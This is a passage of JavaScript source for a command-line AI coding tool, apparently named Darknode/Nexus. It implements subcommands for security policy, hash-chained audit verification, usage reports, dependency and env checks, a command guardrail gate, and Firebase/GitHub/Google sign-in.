    if (rest[0] === "init") { const fs = require("fs"), path = require("path"); const dir = path.join(process.cwd(), ".nexus"), f = path.join(dir, "policy.json"); if (fs.existsSync(f)) console.log("  " + yellow(".nexus/policy.json already exists — not overwriting")); else { fs.mkdirSync(dir, { recursive: true }); fs.writeFileSync(f, JSON.stringify(POLICY_DEFAULTS, null, 2) + "\n"); console.log("  " + green("created ") + ".nexus/policy.json" + gray(" — a starting policy; tighten protected paths, denied commands, and limits, then ") + cyan("darknode policy") + gray(" to review")); } return; }
    const p = loadPolicy(process.cwd());
    if (rest[0] === "--json") { console.log(JSON.stringify(p, null, 2)); }
    else { banner(); h1("Effective security policy" + (p.org ? "  (ORG-ENFORCED)" : "")); const row = (k, v) => console.log("  " + k.padEnd(22) + v); row("source", p.org ? "org floor (~/.darknode/policy.json) + local .nexus/policy.json" : ".nexus/policy.json (or defaults)"); row("protected paths", (p.protectedPaths || []).length + "  " + gray((p.protectedPaths || []).slice(0, 6).join(", ") + ((p.protectedPaths || []).length > 6 ? " …" : ""))); row("denied commands", (p.deniedCommands || []).length ? p.deniedCommands.join(", ") : gray("(built-in destructive guard only)")); row("max files / turn", p.maxFilesPerTurn || gray("unlimited")); row("block secret writes", p.blockSecrets ? green("on") : red("off")); row("network", p.allowNetwork ? "allowed" : red("blocked")); row("audit", p.audit ? "on (.nexus/audit.jsonl, hash-chained)" : gray("off")); const warns = policyWarnings(process.cwd()); if (warns.length) { console.log("\n  " + yellow("config warnings:")); warns.forEach((wn) => console.log("    " + yellow("• " + wn))); } console.log("\n  " + gray("machine-readable: ") + cyan("darknode policy --json") + "\n"); }
  }
  else if (cmd === "audit") {
    if (rest[0] === "verify") { const v = auditVerify(process.cwd()); if (v.empty) { console.log("  " + gray("audit trail is empty — nothing to verify")); process.exit(0); } console.log(v.ok ? "  " + green("OK") + " audit trail intact — " + v.count + " record(s), hash chain verified" : "  " + red("TAMPERED") + " — " + v.reason + " at record #" + v.badLine + " of " + v.count); process.exit(v.ok ? 0 : 1); } // CI gate: non-zero exit on tamper
    else { try { const fs = require("fs"), path = require("path"); const raw = fs.readFileSync(path.join(process.cwd(), ".nexus", "audit.jsonl"), "utf8").trim().split("\n").filter(Boolean); const show = (rest[0] === "--json") ? raw.slice(-50).join("\n") : raw.slice(-20).map((l) => { try { const e = JSON.parse(l); return "  " + gray((e.ts || "").slice(0, 19).replace("T", " ")) + " " + (e.status === "blocked" ? red("blocked") : e.status === "error" ? yellow("error  ") : green("ok     ")) + " " + (e.tool || "") + gray(" " + (e.path || e.cmd || "") + (e.reason ? " — " + e.reason : "")); } catch (_) { return ""; } }).filter(Boolean).join("\n"); const v = auditVerify(process.cwd()); console.log(show + "\n  " + (v.ok ? green("chain verified (" + v.count + ")") : red("CHAIN BROKEN — darknode audit verify"))); } catch (_) { console.log("  " + gray("no audit trail (.nexus/audit.jsonl) in this directory")); } }
  }
  else if (cmd === "report") {
    // Headless AI cost/usage report for finance, CI, and chargeback — reads the
    // .nexus/usage.jsonl ledger written by Nexus turns. `--json` for dashboards.
    const path = require("path");
    const si = rest.indexOf("--since"); const since = si >= 0 ? rest[si + 1] : null;
    const recs = loadUsage(process.cwd(), since ? { since } : {});
    const s = summarize(recs);
    if (rest.includes("--json")) console.log(JSON.stringify(s, null, 2));
    else if (!recs.length) console.log("  " + gray("no usage recorded in .nexus/usage.jsonl" + (since ? " since " + since : "") + " — run some Nexus turns first (darknode nexus)"));
    else console.log("\n" + renderReport(s, { project: path.basename(process.cwd()) }) + "\n");
  }
  else if (cmd === "savings") {
    // Cost-savings analysis over the .nexus/usage.jsonl ledger: run-rate, 30-day
    // projection, and two quantified levers (local routing + model downshift).
    const path = require("path");
    const si = rest.indexOf("--since"); const since = si >= 0 ? rest[si + 1] : null;
    const mi = rest.indexOf("--mechanical"); const frac = mi >= 0 ? parseFloat(rest[mi + 1]) : NaN;
    const recs = loadUsage(process.cwd(), since ? { since } : {});
    const a = analyzeSavings(recs, !isNaN(frac) ? { mechanicalFraction: frac } : {});
    if (rest.includes("--json")) console.log(JSON.stringify(a, null, 2));
    else if (!recs.length) console.log("  " + gray("no usage recorded in .nexus/usage.jsonl" + (since ? " since " + since : "") + " — run some Nexus turns first (darknode nexus)"));
    else console.log("\n" + renderSavings(a, { project: path.basename(process.cwd()) }) + "\n");
  }
  else if (cmd === "changelog") {
    // Release notes from git history, grouped by conventional-commit type.
    const range = rest.filter((a) => !a.startsWith("--"))[0];
    let rng = range;
    if (!rng) { const t = await sh(["describe", "--tags", "--abbrev=0"]); const tag = (t.stdout || "").trim(); rng = tag ? tag + "..HEAD" : ""; }
    const lg = await sh(["log", "--no-color", "--pretty=%h%x09%s"].concat(rng ? [rng] : ["-40"]));
    const commits = parseCommits(lg.stdout || "");
    if (rest.includes("--json")) console.log(JSON.stringify({ range: rng || "recent", commits }, null, 2));
    else console.log(renderChangelog(commits, { title: "Changelog", range: rng || "recent" }));
  }
  else if (cmd === "env") {
    // Headless env-var hygiene. --strict is a config gate: exit 1 if any env var is
    // used in code but absent from a .env template (common runtime vars excluded).
    const { used, files: sf } = scanEnvTree(process.cwd());
    const { declared, files: ef } = readEnvFiles(process.cwd());
    const a = auditEnv({ used, declared });
    if (rest.includes("--json")) { console.log(JSON.stringify(Object.assign(a, { templates: ef, sourceFiles: sf }), null, 2)); }
    else {
      console.log("  " + bold(String(used.length) + " referenced") + " · " + declared.length + " documented" + gray(ef.length ? "  (" + ef.join(", ") + ")" : "  (no .env template)"));
      if (a.undocumented.length) console.log("  " + red("undocumented (" + a.undocumented.length + "):") + " " + a.undocumented.join(", "));
      if (a.unused.length) console.log("  " + yellow("unused (" + a.unused.length + "):") + " " + a.unused.join(", "));
      if (!a.undocumented.length && !a.unused.length) console.log("  " + green("clean") + gray(" — code and .env templates agree"));
    }
    if (rest.includes("--strict") && a.undocumented.length) process.exit(1);
  }
  else if (cmd === "deps") {
    // Headless dependency hygiene. --strict is a supply-chain gate: exit 1 if any
    // package is imported but not declared in package.json.
    const fsx = require("fs"), pathx = require("path");
    let pkg = null; try { pkg = JSON.parse(fsx.readFileSync(pathx.join(process.cwd(), "package.json"), "utf8")); } catch (_) {}
    if (!pkg) { console.log("  " + gray("no package.json in this directory")); process.exit(rest.includes("--strict") ? 1 : 0); }
    const a = auditDeps({ pkg, specifiers: scanImports(process.cwd()) });
    if (rest.includes("--json")) console.log(JSON.stringify(a, null, 2));
    else {
      console.log("  " + bold(String(a.declared.length) + " declared") + " · " + a.used.length + " imported");
      if (a.missing.length) console.log("  " + red("missing (" + a.missing.length + "):") + " " + a.missing.join(", "));
      if (a.unused.length) console.log("  " + yellow("unused (" + a.unused.length + "):") + " " + a.unused.join(", ") + gray("  (may be CLI/config-only)"));
      if (!a.missing.length && !a.unused.length) console.log("  " + green("clean") + gray(" — declared and imported sets match"));
    }
    if (rest.includes("--strict") && a.missing.length) process.exit(1);
  }
  else if (cmd === "stats" || cmd === "loc") {
    // Headless codebase overview — files, lines & languages, largest files.
    const s = summarizeStats(scanStats(process.cwd()));
    if (rest.includes("--json")) { console.log(JSON.stringify(s, null, 2)); }
    else if (!s.totalFiles) { console.log("  " + gray("no recognized source files in this directory")); }
    else { const kb = (n) => n >= 1e6 ? (n / 1e6).toFixed(1) + " MB" : (n / 1e3).toFixed(0) + " KB"; const langs = rankedLangs(s); const w = Math.max.apply(null, langs.map((l) => l[0].length));
      console.log("  " + bold(String(s.totalFiles) + " files") + " · " + bold(s.totalLines.toLocaleString() + " lines") + " · " + kb(s.totalBytes) + " · " + langs.length + " languages");
      langs.slice(0, 15).forEach(([k, v]) => console.log("  " + cyan(k.padEnd(w)) + "  " + String(v.files).padStart(5) + gray(" files ") + String(v.lines).padStart(8) + gray(" lines")));
      console.log("  " + gray("largest:")); s.largest.slice(0, 6).forEach((f) => console.log("    " + gray(String(f.lines).padStart(6) + "  ") + f.file));
    }
  }
  else if (cmd === "guard") {
    // Guardrails gate: evaluate a proposed command or file write against policy +
    // the destructive-command classifier + the secret scanner. Prints the verdict
    // and exits non-zero on deny — usable as an agent pre-flight or a CI gate.
    //   darknode guard "<command>"           darknode guard --write <path> [content…]
    //   --strict  deny (not ask) when a secret would be exposed
    const { POLICY_DEFAULTS } = require("./lib/governance/policy");
    const wi = rest.indexOf("--write");
    const action = wi >= 0
      ? { type: "write", path: rest[wi + 1], content: rest.slice(wi + 2).filter((a) => !a.startsWith("--")).join(" ") }
      : { type: "command", command: rest.filter((a) => !a.startsWith("--")).join(" ") };
    if ((action.type === "command" && !action.command) || (action.type === "write" && !action.path)) {
      console.log(red('  usage: darknode guard "<command>"   |   darknode guard --write <path> [content]')); return;
    }
    const v = guardAction(action, POLICY_DEFAULTS, { denyOnSecret: rest.includes("--strict") });
    const C = { allow: green, ask: yellow, deny: red };
    console.log("  " + (C[v.decision] || gray)(v.decision.toUpperCase()) + gray("   risk: " + v.risk));
    if (v.reasons.length) v.reasons.forEach((r) => console.log("    " + yellow("•") + " " + gray("[" + r.source + "] ") + r.why));
    else console.log("    " + gray("no guardrail triggered"));
    process.exitCode = v.decision === "deny" ? 2 : 0;
  }
  else if (cmd === "capindex" || cmd === "capmap" || cmd === "caps") {
    // Capability index — label every source module with what it can actually DO
    // (process exec, dynamic eval, secret access, network, fs writes…) with
    // line-level evidence and a risk score. A fast security read of a repo
    // before you trust it, ship it, or hand it to an agent. --json / --all.
    const fs = require("fs"), path = require("path");
    const root = rest.find((a) => !a.startsWith("--")) || process.cwd();
    const SKIP = /(^|\/)(\.git|node_modules|dist|build|out|target|\.nexus|\.cache|\.next|coverage|__pycache__|\.venv|venv|vendor)(\/|$)/;
    const EXT = /\.(js|mjs|cjs|ts|tsx|jsx|py|rb|go|php|sh|bash)$/i;
    const files = [];
    const walk = (d) => { if (files.length >= 5000) return; let ents; try { ents = fs.readdirSync(d, { withFileTypes: true }); } catch (_) { return; } for (const e of ents) { const fp = path.join(d, e.name); if (SKIP.test(fp)) continue; if (e.isDirectory()) walk(fp); else if (EXT.test(e.name)) { let code; try { if (fs.statSync(fp).size > 800000) continue; code = fs.readFileSync(fp, "utf8"); } catch (_) { continue; } files.push({ path: path.relative(root, fp), code }); } } };
    try { const st = fs.statSync(root); if (st.isFile()) files.push({ path: path.basename(root), code: fs.readFileSync(root, "utf8") }); else walk(root); } catch (e) { console.log(red("  cannot read " + root + ": " + e.message)); return; }
    const index = capIndexFiles(files);
    if (rest.includes("--json")) { console.log(JSON.stringify(index, null, 2)); return; }
    if (!index.rollup.total) { console.log("  " + gray("no source files found under " + root)); return; }
    const COLOR = { critical: red, high: red, medium: yellow, low: gray, none: gray };
    for (const ln of capRenderIndex(index, { top: rest.includes("--all") ? index.files.length : 40, all: rest.includes("--all") })) {
      const lvl = ln.slice(0, 9).trim().toLowerCase();
      console.log("  " + (COLOR[lvl] ? COLOR[lvl](ln) : ln));
    }
  }
  else if (cmd === "todo" || cmd === "todos") {
    // Headless tech-debt scan — for humans and as a CI gate (--max N exits 1 if exceeded).
    const mi = rest.indexOf("--max"); const max = mi >= 0 ? parseInt(rest[mi + 1], 10) : NaN;
    const args = rest.filter((a, i) => !a.startsWith("--") && !(mi >= 0 && i === mi + 1));
    const tag = (args[0] || "").toUpperCase();
    const { items, files } = scanTodos(process.cwd());
    const list = tag ? items.filter((it) => it.tag === tag) : items;
    if (rest.includes("--json")) { console.log(JSON.stringify({ summary: summarizeTodos(list), items: rankTodos(list) }, null, 2)); }
    else if (!list.length) { console.log("  " + green("clean") + gray(" — no " + (tag || "TODO/FIXME/HACK") + " markers in " + files + " files")); }
    else { const s = summarizeTodos(list); console.log("  " + bold(String(s.total)) + " marker(s) in " + s.files + " file(s)   " + TODO_TAGS.filter((t) => s.byTag[t]).map((t) => yellow(t) + " " + s.byTag[t]).join(gray(" · "))); rankTodos(list).slice(0, 100).forEach((it) => console.log("  " + cyan(it.file + ":" + it.line) + "  " + yellow(it.tag) + (it.text ? "  " + it.text : ""))); }
    if (!isNaN(max)) { const n = list.length; if (n > max) { console.log(red("  tech-debt gate: " + n + " > " + max + " allowed")); process.exit(1); } }
  }
  else if (cmd === "compliance") {
    // Enterprise SOC2/audit export: a signed bundle over audit + usage + policy.
    const fs = require("fs");
    if (rest[0] === "verify") {
      const f = rest[1]; if (!f) { console.log(red("usage: darknode compliance verify <bundle.json>")); process.exit(2); }
      try { const b = JSON.parse(fs.readFileSync(f, "utf8")); const key = process.env.DARKNODE_SIGNING_KEY || ""; const v = verifyBundle(b, key || undefined);
        const sig = v.sigOk === null ? (b.signature ? gray("signature present — set DARKNODE_SIGNING_KEY to verify it") : gray("unsigned")) : (v.sigOk ? green("signature valid") : red("signature INVALID"));
        console.log("  integrity  " + (v.hashOk ? green("OK — bundle not altered") : red("TAMPERED")) + "\n  signature  " + sig);
        process.exit(v.hashOk && v.sigOk !== false ? 0 : 1); // CI gate
      } catch (e) { console.log(red("could not read/parse bundle: " + (e && e.message || e))); process.exit(2); }
    }
    const id = resolveOperator({ cwd: process.cwd() });
    const key = process.env.DARKNODE_SIGNING_KEY || "";
    const b = buildBundle(process.cwd(), { operator: id.operator, team: id.team, signingKey: key || undefined });
    if (rest.includes("--json")) console.log(JSON.stringify(b, null, 2));
    else console.log("\n" + renderBundleMd(b) + "\n");
    const oi = rest.indexOf("--out"); if (oi >= 0 && rest[oi + 1]) { try { fs.writeFileSync(rest[oi + 1], JSON.stringify(b, null, 2)); console.log(gray("  written: " + rest[oi + 1])); } catch (e) { console.log(red("  write failed: " + (e && e.message || e))); } }
  }
  else if (cmd === "marketplace") {
    const sub = (rest[0] || "").toLowerCase();
    const globalMp = path.join(os.homedir(), ".darknode", "marketplace");
    if (sub === "list" || sub === "ls" || !sub) {
      try { const pkgs = fs.readdirSync(globalMp).filter((f) => f.endsWith(".json")).map((f) => { try { return JSON.parse(fs.readFileSync(path.join(globalMp, f), "utf8")); } catch (_) { return null; } }).filter(Boolean);
      if (!pkgs.length) console.log("  " + gray("no marketplace packages installed"));
      else { h1("Installed packages"); pkgs.forEach((p) => console.log("  " + cyan((p.name || "?").padEnd(20)) + gray((p.type || "agent").padEnd(10)) + gray("v" + (p.version || "?")))); }
      } catch (_) { console.log("  " + gray("no marketplace packages installed")); }
    } else console.log("  " + gray("usage: darknode marketplace [list|install|init]  — or use /marketplace in the TUI"));
  }
  else if (cmd === "cron") {
    const cronFile = path.join(process.cwd(), ".nexus", "cron.json");
    try { const jobs = JSON.parse(fs.readFileSync(cronFile, "utf8"));
    if (!jobs.length) console.log("  " + gray("no scheduled jobs"));
    else { h1("Scheduled jobs"); jobs.forEach((j) => console.log("  " + (j.enabled ? green("●") : gray("○")) + " " + cyan((j.id || "?").padEnd(16)) + gray(j.schedule.padEnd(16)) + (j.goal || "").slice(0, 50))); }
    } catch (_) { console.log("  " + gray("no scheduled jobs — use /cron in the TUI to create some")); }
  }
  else if (cmd === "doctor") {
    const reach = await ollamaReachable(), auth = nexusAuth(), warns = policyWarnings(process.cwd()), v = auditVerify(process.cwd());
    const health = { engines: Object.fromEntries(ENGINE_ORDER.map((e) => [e, engineAvail(e)])), ollamaReachable: reach, signedIn: !!auth, account: auth ? (auth.name || auth.email || auth.uid) : null, policyValid: warns.length === 0, policyWarnings: warns, audit: v.empty ? "empty" : v.ok ? "intact" : "tampered", auditCount: v.count || 0 };
    const problem = warns.length || (v.ok === false);
    health.healthy = !problem;
    if (rest[0] === "--json") { console.log(JSON.stringify(health, null, 2)); process.exit(problem ? 1 : 0); }
    banner(); h1("Nexus doctor");
    console.log("  " + bold("AI engines") + gray("  (● installed)"));
    for (const e of ENGINE_ORDER) { const on = engineAvail(e); console.log("    " + (on ? green("●") : gray("○")) + " " + e.padEnd(9) + gray(ENGINES[e].label) + (!on && ENGINES[e].install ? gray("  — install: ") + cyan(ENGINES[e].install) : "")); }
    console.log("    " + (reach ? green("●") : yellow("○")) + " " + "ollama".padEnd(9) + gray(reach ? "server reachable" : "server not reachable — start Ollama or run `darknode nexus setup`"));
    console.log("\n  " + bold("Account") + "  " + (auth ? green("signed in ") + gray("as " + health.account) : gray("not signed in — `darknode login`")));
    console.log("\n  " + bold("Security policy") + "  " + (warns.length ? yellow(warns.length + " warning(s)") : green("valid")));
    warns.forEach((w) => console.log("    " + yellow("• " + w)));
    console.log("\n  " + bold("Audit trail") + "  " + (v.empty ? gray("empty (no enforced actions yet)") : v.ok ? green("intact") + gray(" — " + v.count + " records, hash chain verified") : red("TAMPERED") + " — " + v.reason));
    console.log("\n  " + (problem ? yellow("some checks need attention") : green("all systems healthy")) + gray("   (machine-readable: darknode doctor --json)") + "\n");
    process.exit(problem ? 1 : 0);
  }
  else if (cmd === "nexus" || cmd === "code" || cmd === "ai") {
    const sub = (rest[0] || "").toLowerCase();
    if (sub === "init") nexusInit();
    else if (sub === "docs" || sub === "doc") nexusDocs(rest[1]);
    else if (sub === "setup") await nexusSetup({ ask, auto: rest.includes("-y") || rest.includes("--yes") });
    else if (sub === "login") { try { await nexusLogin(rest[1] || "github"); } catch (e) { console.log("  " + red(e.message)); } }
    else if (sub === "run" || sub === "supervise" || sub === "loop") await nexusRun(rest.slice(1));
    else if (sub === "overnight") await nexusRun(["--overnight"].concat(rest.slice(1)));
    else if (sub === "agents" || sub === "parallel") await nexusAgents(rest.slice(1));
    else {
      // First launch on a real terminal: offer the one-time Ollama/Claude setup before the TUI.
      if (process.stdout.isTTY && !rest.includes("--print") && firstRunPending()) { try { await nexusSetup({ ask, auto: rest.includes("-y") || rest.includes("--yes") }); } catch (_) {} }
      await aiCoder(rest);
    }
  }
  else usage();
}

// ========== global config, auth (Firebase-backed /login) & first-run setup ==========
// Nexus keeps machine-wide state (login tokens, Firebase keys, setup marker) in
// ~/.darknode/ so a signed-in session and installed models persist across every
// project, unlike the per-project .nexus/ dir.
function darknodeHome() { const os = require("os"), path = require("path"), fs = require("fs"); const d = path.join(os.homedir(), ".darknode"); try { fs.mkdirSync(d, { recursive: true }); } catch (_) {} if (!fs.existsSync(d)) { const old = path.join(os.homedir(), ".sentinel"); if (fs.existsSync(old)) return old; } return d; }
function readGlobal(name, def) { const fs = require("fs"), path = require("path"); try { return JSON.parse(fs.readFileSync(path.join(darknodeHome(), name), "utf8")); } catch (_) { return def === undefined ? null : def; } }
function writeGlobal(name, obj) { const fs = require("fs"), path = require("path"); try { const p = path.join(darknodeHome(), name); fs.writeFileSync(p, JSON.stringify(obj, null, 2)); try { fs.chmodSync(p, 0o600); } catch (_) {} return true; } catch (_) { return false; } } // 0600: tokens are secrets

// Minimal dependency-free HTTP(S) JSON client (the whole CLI ships with zero deps).
function httpReq(opts) {
  return new Promise((resolve, reject) => {
    let u; try { u = new URL(opts.url); } catch (e) { return reject(e); }
    const lib = u.protocol === "http:" ? require("http") : require("https");
    const data = opts.body == null ? null : (typeof opts.body === "string" ? opts.body : JSON.stringify(opts.body));
    const headers = Object.assign({}, opts.headers || {});
    if (data != null && headers["Content-Length"] == null) headers["Content-Length"] = Buffer.byteLength(data);
    const req = lib.request({ hostname: u.hostname, port: u.port || (u.protocol === "http:" ? 80 : 443), path: u.pathname + u.search, method: opts.method || "GET", headers }, (res) => {
      let d = ""; res.on("data", (c) => (d += c)); res.on("end", () => { let j = null; try { j = JSON.parse(d); } catch (_) {} resolve({ status: res.statusCode, text: d, json: j }); });
    });
    req.on("error", reject); req.setTimeout(opts.timeout || 30000, () => req.destroy(new Error("request timed out")));
    if (data != null) req.write(data); req.end();
  });
}
function openBrowser(url) {
  const cp = require("child_process"), p = process.platform;
  try {
    if (p === "win32") cp.spawn("cmd", ["/c", "start", "", url], { stdio: "ignore", detached: true }).unref();
    else cp.spawn(p === "darwin" ? "open" : "xdg-open", [url], { stdio: "ignore", detached: true }).unref();
  } catch (_) {}
}

// ---- Firebase Identity Toolkit REST (verifies the user against the project) ----
// Bundled PUBLIC config for the Darknode web project — a Firebase web apiKey only
// identifies the project, it is not a secret (it ships in the website's JS too).
// This makes `darknode login` work out-of-the-box with the website's accounts; a
// ~/.darknode/firebase.json overrides any field (e.g. to point at your own project).
const DEFAULT_FIREBASE = { apiKey: "AIzaSyD3CJO7PLQdRvPOWDqehSlRwEeA5odCTDE", authDomain: "sentinel-b4194.firebaseapp.com", projectId: "sentinel-b4194" };
function firebaseCfg() { return Object.assign({}, DEFAULT_FIREBASE, readGlobal("firebase.json", {}) || {}); }
function firebaseReady(c) { c = c || firebaseCfg(); return !!(c && c.apiKey); }
async function firebaseSignInWithIdp(providerId, idpToken) {
  const c = firebaseCfg(); if (!c.apiKey) throw new Error("no Firebase apiKey configured");
  const postBody = providerId === "google.com" ? ("id_token=" + idpToken + "&providerId=google.com") : ("access_token=" + idpToken + "&providerId=github.com");
  const r = await httpReq({ url: "https://identitytoolkit.googleapis.com/v1/accounts:signInWithIdp?key=" + encodeURIComponent(c.apiKey), method: "POST", headers: { "Content-Type": "application/json" }, body: { requestUri: "http://localhost", postBody, returnSecureToken: true, returnIdpCredential: true } });
  if (!r.json || r.json.error) throw new Error((r.json && r.json.error && r.json.error.message) || ("Firebase sign-in failed (HTTP " + r.status + ") — is the provider enabled in the console?"));
  return r.json; // { idToken, refreshToken, localId, email, displayName/fullName, federatedId }
}
async function firebaseLookup(idToken) { const c = firebaseCfg(); const r = await httpReq({ url: "https://identitytoolkit.googleapis.com/v1/accounts:lookup?key=" + encodeURIComponent(c.apiKey), method: "POST", headers: { "Content-Type": "application/json" }, body: { idToken } }); return r.json && r.json.users && r.json.users[0]; }
async function firebaseRefresh(refreshToken) { const c = firebaseCfg(); const r = await httpReq({ url: "https://securetoken.googleapis.com/v1/token?key=" + encodeURIComponent(c.apiKey), method: "POST", headers: { "Content-Type": "application/x-www-form-urlencoded" }, body: "grant_type=refresh_token&refresh_token=" + encodeURIComponent(refreshToken) }); return r.json; }

// ---- provider flows ----
function ghCliToken() { try { const r = require("child_process").spawnSync("gh", ["auth", "token"], { encoding: "utf8", timeout: 6000 }); if (!r.error && r.status === 0) { const t = (r.stdout || "").trim(); if (t) return t; } } catch (_) {} return null; }
async function githubDeviceFlow(clientId, log) {
  const dc = await httpReq({ url: "https://github.com/login/device/code", method: "POST", headers: { Accept: "application/json", "Content-Type": "application/x-www-form-urlencoded" }, body: "client_id=" + encodeURIComponent(clientId) + "&scope=" + encodeURIComponent("read:user user:email") });
  if (!dc.json || !dc.json.device_code) throw new Error("GitHub device-code request failed — check githubClientId (and that Device Flow is enabled on the OAuth app)");
  const { device_code, user_code, verification_uri, interval, expires_in } = dc.json;
  log("open " + cyan(verification_uri) + " and enter code " + bold(user_code));
  openBrowser(verification_uri);
  const started = Date.now(); let wait = (interval || 5) * 1000;
  while (Date.now() - started < (expires_in || 900) * 1000) {
    await new Promise((r) => setTimeout(r, wait));
    const tk = await httpReq({ url: "https://github.com/login/oauth/access_token", method: "POST", headers: { Accept: "application/json", "Content-Type": "application/x-www-form-urlencoded" }, body: "client_id=" + encodeURIComponent(clientId) + "&device_code=" + encodeURIComponent(device_code) + "&grant_type=urn:ietf:params:oauth:grant-type:device_code" });
    const j = tk.json || {};
    if (j.access_token) return j.access_token;
    if (j.error === "authorization_pending") continue;
    if (j.error === "slow_down") { wait += 5000; continue; }
    if (j.error) throw new Error("GitHub: " + (j.error_description || j.error));
  }
  throw new Error("GitHub device login timed out");
}
async function googleLoopbackFlow(clientId, clientSecret, log) {
  const http = require("http");
  return await new Promise((resolve, reject) => {
    let done = false;
    const server = http.createServer(async (req, res) => {
      try {
        const u = new URL(req.url, "http://127.0.0.1"); const code = u.searchParams.get("code"), err = u.searchParams.get("error");
        if (err) { res.end("Login failed: " + err); done = true; server.close(); return reject(new Error("Google: " + err)); }
        if (!code) { res.end("Waiting…"); return; }
        res.writeHead(200, { "Content-Type": "text/html" });
        res.end("<!doctype html><meta charset=utf-8><body style='font-family:-apple-system,sans-serif;background:#0b1220;color:#eaf0fb;display:flex;height:100vh;margin:0;align-items:center;justify-content:center'><div style='text-align:center'><h2 style='margin:0 0 8px'>Nexus — signed in</h2><p style='color:#8ca0c4'>You can close this tab and return to the terminal.</p></div>");
        const port = server.address().port; done = true; server.close();
        const tk = await httpReq({ url: "https://oauth2.googleapis.com/token", method: "POST", headers: { "Content-Type": "application/x-www-form-urlencoded" }, body: "code=" + encodeURIComponent(code) + "&client_id=" + encodeURIComponent(clientId) + "&client_secret=" + encodeURIComponent(clientSecret) + "&redirect_uri=" + encodeURIComponent("http://127.0.0.1:" + port) + "&grant_type=authorization_code" });
        if (!tk.json || !tk.json.id_token) return reject(new Error("Google token exchange failed" + (tk.json && tk.json.error ? ": " + (tk.json.error_description || tk.json.error) : "")));
        resolve(tk.json.id_token);
      } catch (e) { reject(e); }
    });
    server.listen(0, "127.0.0.1", () => {
      const port = server.address().port, redirect = "http://127.0.0.1:" + port;
      const url = "https://accounts.google.com/o/oauth2/v2/auth?response_type=code&client_id=" + encodeURIComponent(clientId) + "&redirect_uri=" + encodeURIComponent(redirect) + "&scope=" + encodeURIComponent("openid email profile") + "&access_type=offline&prompt=select_account";
      log("opening browser to sign in with Google…"); openBrowser(url);
    });
    setTimeout(() => { if (done) return; try { server.close(); } catch (_) {} reject(new Error("Google login timed out")); }, 180000);
  });
}

function nexusAuth() { return readGlobal("auth.json", null); }
function nexusLogout() { const fs = require("fs"), path = require("path"); try { fs.unlinkSync(path.join(darknodeHome(), "auth.json")); return true; } catch (_) { return false; } }
async function nexusLogin(provider, log) {
  log = log || ((s) => console.log("  " + s));
  const c = firebaseCfg();
  if (!firebaseReady(c)) { log(red("Firebase isn't configured yet.")); log("Save your web config to " + cyan(require("path").join(darknodeHome(), "firebase.json")) + " — see " + cyan("darknode login --help")); return { ok: false, needConfig: true }; }
  provider = (provider || "").toLowerCase();
  let idpToken, providerId;
  if (provider === "github" || provider === "gh") {
    providerId = "github.com";
    let tok = ghCliToken();
    if (tok) log(green("using your GitHub CLI session"));
    else { if (!c.githubClientId) throw new Error("no gh CLI session and no githubClientId in firebase.json — run `gh auth login`, or add githubClientId"); tok = await githubDeviceFlow(c.githubClientId, log); }
    idpToken = tok;
  } else if (provider === "google" || provider === "g") {
    providerId = "google.com";
    if (!c.googleClientId || !c.googleClientSecret) throw new Error("googleClientId/googleClientSecret not set in firebase.json (see `darknode login --help`)");
    idpToken = await googleLoopbackFlow(c.googleClientId, c.googleClientSecret, log);
  } else throw new Error("usage: login google | login github");
  log("verifying with Firebase…");
  const fb = await firebaseSignInWithIdp(providerId, idpToken);
  const user = { provider: providerId, email: fb.email || "", name: fb.displayName || fb.fullName || "", uid: fb.localId, idToken: fb.idToken, refreshToken: fb.refreshToken, ts: Date.now() };
  writeGlobal("auth.json", user);
  log(green("signed in as ") + (user.name || user.email || user.uid) + gray("  (" + providerId.replace(".com", "") + ")"));
  return { ok: true, user };
}
// URL of the server-side pairing exchange (Firebase Function `pair`). Overridable
// via ~/.darknode/firebase.json `pairUrl`; defaults to the project's deployed URL.
function pairExchangeUrl() { const c = firebaseCfg(); return c.pairUrl || ("https://us-central1-" + (c.projectId || "sentinel-b4194") + ".cloudfunctions.net/pair"); }
// A website pairing code is a 16-char Crockford-ish token (A-Z, 2-9; no I/O/0/1),
// optionally dash-grouped. A legacy Firebase refresh token is far longer and mixed-case.
function looksLikePairCode(s) { const t = String(s || "").replace(/[^A-Za-z0-9]/g, "").toUpperCase(); return /^[A-HJ-NP-Z2-9]{12,24}$/.test(t); }
async function pairExchange(code) {
  const url = pairExchangeUrl();
  const norm = String(code || "").replace(/[^A-Za-z0-9]/g, "").toUpperCase();
  const r = await httpReq({ url, method: "POST", headers: { "Content-Type": "application/json" }, body: { code: norm } });
  if (r.status === 200 && r.json && r.json.uid) return r.json; // { uid, email, name, apiKey }
  const msg = (r.json && r.json.error) || ("exchange failed (HTTP " + r.status + ")");
  throw new Error(msg);
}
// Primary login: paste the one-time code from the website's Settings → Nexus CLI.
// The code is exchanged server-side for the account identity + a REVOCABLE Darknode
// API key — the Firebase refresh token is never handed out. (Codes that look like a
// legacy refresh token still work via the old path, for a clean transition.)
async function nexusLoginCode(code, log) {
  log = log || ((s) => console.log("  " + s));
  code = (code || "").trim();
  if (!code) throw new Error("paste the code from the website — Settings → Nexus CLI");
  log("verifying your code…");
  if (looksLikePairCode(code)) {
    let res; try { res = await pairExchange(code); } catch (e) { throw new Error(e.message || "that code didn't work — copy a fresh one from the website (Settings → Nexus CLI)"); }
    const user = { provider: "code", email: res.email || "", name: res.name || "", uid: res.uid || "", apiKey: res.apiKey || "", ts: Date.now() };
    writeGlobal("auth.json", user);
    log(green("signed in as ") + (user.name || user.email || user.uid || "your account"));
    return { ok: true, user };
  }
  // Legacy path: the code is a Firebase refresh token (pre-pairing website versions).
  if (!firebaseCfg().apiKey) throw new Error("no Firebase apiKey configured");
  let tok; try { tok = await firebaseRefresh(code); } catch (e) { throw new Error("could not reach Firebase (" + e.message + ")"); }
  if (!tok || !tok.id_token) throw new Error("that code didn't work — copy a fresh one from the website (Settings → Nexus CLI)");
  let info = null; try { info = await firebaseLookup(tok.id_token); } catch (_) {}
  const user = { provider: "code", email: (info && info.email) || "", name: (info && info.displayName) || "", uid: tok.user_id || (info && info.localId) || "", idToken: tok.id_token, refreshToken: tok.refresh_token || code, ts: Date.now() };
  writeGlobal("auth.json", user);
  log(green("signed in as ") + (user.name || user.email || user.uid || "your account"));
  return { ok: true, user };
}
function loginHelp() {
  banner(); h1("Nexus login");
  console.log("  The easy way — no OAuth setup, same account as the website:\n");
  console.log("  " + bold("1.") + " Sign in at the Darknode website (Google, GitHub, or email).");
  console.log("  " + bold("2.") + " Open " + bold("Settings → Nexus CLI") + " and copy your code.");
